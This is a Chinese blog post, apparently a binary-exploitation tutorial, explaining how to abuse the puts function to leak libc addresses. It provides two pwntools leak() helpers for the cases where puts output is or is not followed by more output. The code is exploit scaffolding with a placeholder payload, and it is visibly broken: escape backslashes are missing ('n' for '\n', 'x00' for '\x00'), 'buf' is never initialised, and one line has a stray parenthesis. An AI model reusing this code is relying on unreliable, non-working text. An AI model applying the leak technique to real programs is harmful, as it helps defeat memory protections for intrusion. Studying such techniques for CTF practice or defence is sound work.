利用puts函數泄露libc內存信息

puts函數

puts的原型是puts(addr),即將addr作爲起始地址輸出字符串,直到遇到“x00”字符爲止。也就是說,puts函數輸出的數據長度是不受控的,只要我們輸出的信息中包含x00截斷符,輸出就會終止,且會自動將“n”追加到輸出字符串的末尾,這是puts函數的缺點,而優點就是需要的參數少,只有1個,無論在x86還是x64環境下,都容易調用。

爲了克服輸入不受控這一缺點,我們考慮利用puts函數輸出的字符串最後一位爲“n“這一特點,分兩種情況來解決。

(1)puts輸出完後就沒有其他輸出,在這種情況下的leak函數可以這麼寫。

def leak(address):
  count = 0
  data = ''
  payload = xxx
  p.send(payload)
  print p.recvuntil('xxxn'#一定要在puts前釋放完輸出
  up = ""
  while True:
    #由於接收完標誌字符串結束的回車符後,就沒有其他輸出了,故先等待1秒鐘,如果確實接收不到了,就說明輸出結束了
    #以便與不是標誌字符串結束的回車符(0x0A)混淆,這也利用了recv函數的timeout參數,即當timeout結束後仍得不到輸出,則直接返回空字符串””
    c = p.recv(numb=1, timeout=1)
    count += 1
    if up == 'n' and c == "":  #接收到的上一個字符爲回車符,而當前接收不到新字符,則
      buf = buf[:-1]             #刪除puts函數輸出的末尾回車符
      buf += "x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4]  #取指定字節數
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data

(2)puts輸出完後還有其他輸出,在這種情況下的leak函數可以這麼寫。

def leak(address):
  count = 0
  data = ""
  payload = xxx
  p.send(payload)
  print p.recvuntil("xxxn")) #一定要在puts前釋放完輸出
  up = ""
  while True:
    c = p.recv(1)
    count += 1
    if up == 'n' and c == "x":  #一定要找到泄漏信息的字符串特徵
      data = buf[:-1]                     
      data += "x00"
      break
    else:
      buf += c
    up = c
  data = buf[:4] 
  log.info("%#x => %s" % (address, (data or '').encode('hex')))
  return data
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章